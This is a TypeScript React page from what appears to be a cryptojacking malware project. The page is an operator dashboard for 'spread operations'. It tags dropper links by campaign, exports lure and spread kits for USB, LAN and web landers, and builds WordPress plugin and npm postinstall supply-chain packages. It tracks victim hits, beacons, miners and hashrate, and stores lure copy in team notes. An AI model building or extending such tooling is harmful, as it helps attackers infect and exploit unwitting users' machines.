Files
AetherForge/server/web/src/pages/EmberwakePage.tsx
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

604 lines
23 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import { publicDownloadUrl } from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
spreadTechniqueDocUrl,
} from '../help/spreadTechniques';
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
import {
aggregateCampaignTelemetry,
maxTelemetryHashrate,
mergeCampaignWithLiveTelemetry,
} from '../help/warRoomTelemetry';
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
import { useWebSocket } from '../hooks/useWebSocket';
import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import { HelpTip } from '../components/HelpTip';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
}).catch(() => {});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
const NOTES_TYPING_DEBOUNCE_MS = 400;
const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;
export default function EmberwakePage() {
const { latestMessage, agents: wsAgents } = useWebSocket();
const { notesTyping, sendNotesTyping } = usePresence();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [serverBase, setServerBase] = useState('');
const [campaign, setCampaign] = useState('linkedin-bait');
const [pinA, setPinA] = useState('');
const [pinB, setPinB] = useState('');
const [notes, setNotes] = useState('');
const [notesMeta, setNotesMeta] = useState('');
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
const [warRoomUpdated, setWarRoomUpdated] = useState('');
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
const [exportBusy, setExportBusy] = useState(false);
const [siteName, setSiteName] = useState('my-blog');
const [notesBusy, setNotesBusy] = useState(false);
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const typingActiveRef = useRef(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
// Keep refs so `load` can read current pin values without listing them as deps.
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
// re-render → new load reference → useEffect fires load() again (×N).
const pinARef = useRef(pinA);
const pinBRef = useRef(pinB);
pinARef.current = pinA;
pinBRef.current = pinB;
const loadWarRoom = useCallback(async () => {
try {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
} catch {
/* war room is non-critical; silently retain previous data */
}
}, []);
const load = useCallback(async () => {
const [b, info, cfg, pub, n] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
api.listPublicBuilds(),
api.getEmberwakeNotes(),
]);
setBuilds(b);
const pubUrl = cfg.server?.public_url?.trim();
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
setPublicBuilds(pub.builds);
setNotes(n.content);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
void loadWarRoom().catch(() => {});
if (!pinARef.current) {
const p = b.find((x) => x.pinned);
if (p) setPinA(p.id);
}
if (!pinBRef.current && b.length > 1) {
const alt = b.find((x) => !x.pinned) ?? b[1];
if (alt) setPinB(alt.id);
}
}, [loadWarRoom]);
useEffect(() => {
void load().catch(() => {});
}, [load]);
const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]);
const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]);
const displayCampaigns = useMemo(() => {
if (!warRoom?.campaigns?.length) return [];
return warRoom.campaigns.map((c) =>
mergeCampaignWithLiveTelemetry(c, liveTelemetry.get(c.campaign)),
);
}, [warRoom, liveTelemetry]);
const campaignAgentsMap = useMemo(() => {
const out: Record<string, typeof wsAgents> = {};
for (const [slug, telemetry] of liveTelemetry) {
out[slug] = telemetry.agents;
}
return out;
}, [liveTelemetry]);
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'emberwake_notes_updated') {
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
}
return;
}
if (latestMessage.type === 'emberwake_war_room') {
const p = latestMessage.payload as WarRoomResponse;
if (p && Array.isArray(p.campaigns)) {
setWarRoom(p);
setWarRoomUpdated(p.generated_at || new Date().toISOString());
}
}
}, [latestMessage]);
const stopNotesTyping = useCallback(() => {
if (typingTimerRef.current) {
clearTimeout(typingTimerRef.current);
typingTimerRef.current = null;
}
if (typingActiveRef.current) {
typingActiveRef.current = false;
sendNotesTyping(false);
}
}, [sendNotesTyping]);
const handleNotesChange = (value: string) => {
setNotes(value);
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
typingTimerRef.current = setTimeout(() => {
if (!typingActiveRef.current) {
typingActiveRef.current = true;
sendNotesTyping(true);
}
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
}, NOTES_TYPING_DEBOUNCE_MS);
};
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
const handleConstellationSelect = useCallback((slug: string) => {
setHighlightedCampaign(slug);
setWarRoomView('funnel');
}, []);
useEffect(() => {
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
const t = window.setTimeout(() => {
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
}, 80);
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
return () => {
window.clearTimeout(t);
window.clearTimeout(clear);
};
}, [warRoomView, highlightedCampaign]);
const saveNotes = async () => {
stopNotesTyping();
setNotesBusy(true);
try {
const n = await api.putEmberwakeNotes(notes);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
} finally {
setNotesBusy(false);
}
};
const exportKit = async () => {
setExportBusy(true);
try {
await api.exportSpreadKit({
build_id: pinA || pinned[0]?.id || '',
server_url: serverBase,
campaign,
});
} finally {
setExportBusy(false);
}
};
return (
<div className="page emberwake-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
<h1>
Emberwake <HelpTip field="ew_overview" />
</h1>
<p className="page-subtitle">
Tag install links, export lure kits, and track which campaigns convert all from one desk.
</p>
<p className="emberwake-hero-links form-hint">
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
{' · '}
<a href="/spread/">On-server spread lander</a>
</p>
</div>
</header>
<AlsoHere page="/emberwake" />
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
aria-labelledby="ew-setup-heading"
>
<h2 id="ew-setup-heading" className="emberwake-section-title">
Campaign setup <HelpTip field="ew_campaign_setup" />
</h2>
<p className="emberwake-section-desc">
Set once every link and export below uses these values.
</p>
<div className="emberwake-setup-grid">
<div className="form-group">
<label className="label" htmlFor="ew-campaign">
Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="form-group">
<label className="label" htmlFor="ew-server">Command deck URL</label>
<input
id="ew-server"
className="input mono"
value={serverBase}
onChange={(e) => setServerBase(e.target.value)}
/>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
<select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
<select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
</div>
<div className="emberwake-subsection">
<h3 className="emberwake-subsection-title">
Install commands <HelpTip field="ew_install_links" />
</h3>
<p className="emberwake-section-desc">
Per-platform one-liners (PowerShell, bash, macOS) are in Builds pin a build there before sharing links.
</p>
<Link to="/builds" className="btn btn-outline">
View install commands in Builds
</Link>
</div>
<div className="emberwake-subsection emberwake-subsection--inline">
<div>
<h3 className="emberwake-subsection-title">
Download spread kit <HelpTip field="ew_spread_kit" />
</h3>
<p className="emberwake-section-desc">
ZIP templates for USB, LAN, or web landers includes <code>/spread/</code> assets.
</p>
</div>
<button
type="button"
className="btn btn-primary"
disabled={exportBusy || !serverBase}
onClick={() => void exportKit()}
>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
</div>
</section>
<section
id="campaign-war-room"
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
aria-labelledby="ew-war-room-heading"
>
<h2 id="ew-war-room-heading" className="emberwake-section-title">
Campaign War Room <HelpTip field="ew_war_room" />
</h2>
<p className="emberwake-section-desc">
Track hits downloads beacons miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
</p>
<div className="war-room-toolbar">
<span className="war-room-toolbar-meta">
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' '}<HelpTip field="ew_war_room_funnel" />
</span>
<div className="war-room-toolbar-right">
<div className="war-room-view-toggle" role="group" aria-label="War room view">
<button
type="button"
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('funnel')}
>
Funnel board
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('table')}
>
Stats table
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('constellations')}
>
Constellations
</button>
</div>
<HelpTip field="ew_war_room_views" />
<span className="war-room-toolbar-meta">Hash live · funnel WS ~30s</span>
</div>
</div>
{displayCampaigns.length > 0 ? (
warRoomView === 'constellations' ? (
<CampaignConstellations
campaigns={displayCampaigns}
onSelectCampaign={handleConstellationSelect}
/>
) : warRoomView === 'funnel' ? (
<WarRoomFunnelBoard
campaigns={displayCampaigns}
days={warRoom?.days || WAR_ROOM_DAYS}
refreshKey={warRoomUpdated}
highlightCampaign={highlightedCampaign}
campaignAgents={campaignAgentsMap}
maxLiveHashrate={maxLiveHashrate}
/>
) : (
<div className="war-room-table-wrap">
<table className="war-room-table">
<thead>
<tr>
<th>Campaign</th>
<th>Hits</th>
<th>Downloads</th>
<th>Beacon</th>
<th>Mining</th>
<th>Agents</th>
<th>Online</th>
<th>Hashrate</th>
<th>Conv %</th>
<th>7d trend</th>
</tr>
</thead>
<tbody>
{displayCampaigns.map((c, rowIndex) => {
const max = sparklineMax(c.daily_hits);
const beacon = c.first_beacon ?? c.agents;
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
return (
<tr key={c.campaign}>
<td>
<code>{c.campaign}</code>
{c.last_activity ? (
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
{new Date(c.last_activity).toLocaleDateString()}
</span>
) : null}
</td>
<td>
<WarRoomOdometer
value={c.hits}
staggerMs={staggerDelayMs(rowIndex, 0)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.downloads}
staggerMs={staggerDelayMs(rowIndex, 1)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={beacon}
staggerMs={staggerDelayMs(rowIndex, 2)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={mining}
staggerMs={staggerDelayMs(rowIndex, 3)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.agents}
staggerMs={staggerDelayMs(rowIndex, 4)}
/>
</td>
<td className="war-room-online">
<WarRoomOdometer
value={c.online}
staggerMs={staggerDelayMs(rowIndex, 5)}
/>
</td>
<td>
<WarRoomOdometer
value={c.hashrate}
format={(n) => formatHashrate(n)}
staggerMs={staggerDelayMs(rowIndex, 6)}
showDelta
/>
</td>
<td className="war-room-conv">
<WarRoomOdometer
value={c.conversion_pct}
format={(n) => n.toFixed(1)}
suffix="%"
staggerMs={staggerDelayMs(rowIndex, 7)}
showDelta
/>
</td>
<td>
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
{c.daily_hits.map((v, i) => (
<span
key={i}
style={{ height: `${sparklineBarHeight(v, max)}%` }}
/>
))}
</div>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
)
) : (
<p className="war-room-empty">
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
</p>
)}
</section>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Supply-chain exports <HelpTip field="ew_supply_chain" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
</summary>
<p className="emberwake-section-desc">
WordPress plugin or npm postinstall ZIP uses campaign setup above.
</p>
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
</details>
<details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Public download links <HelpTip field="ew_public_urls" />
</span>
</summary>
<p className="emberwake-section-desc">
Direct download URLs per build also listed on the login page when marked public.
</p>
<ul className="emberwake-public-list">
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</details>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading"
>
<h2 id="ew-techniques-heading" className="emberwake-section-title">
How to spread <HelpTip field="ew_techniques" />
</h2>
<p className="emberwake-section-desc">
Pick a vector step-by-step instructions live in the{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
.
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.anchor}>
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
{t.label}
</a>
{' — '}
{t.hint}
</li>
))}
</ul>
</section>
<section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
<h2 id="ew-notes-heading" className="emberwake-section-title">
Team notes <HelpTip field="ew_shared_notes" />
</h2>
<p className="emberwake-section-desc">
Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
</p>
{notesTyping?.active && (
<div className="emberwake-typing-banner" role="status">
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
<span className="emberwake-typing-body">
<strong>{notesTyping.user}</strong> is editing notes
<span className="typing-dots" aria-hidden>
<span />
<span />
<span />
</span>
<span className="emberwake-typing-cursor" aria-hidden />
</span>
</div>
)}
<textarea
className="input emberwake-notes"
rows={6}
value={notes}
onChange={(e) => handleNotesChange(e.target.value)}
onBlur={() => stopNotesTyping()}
placeholder="Paste lure copy, host paths, rotation schedule…"
/>
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
{notesBusy ? 'Saving…' : 'Save notes'}
</button>
</section>
</div>
);
}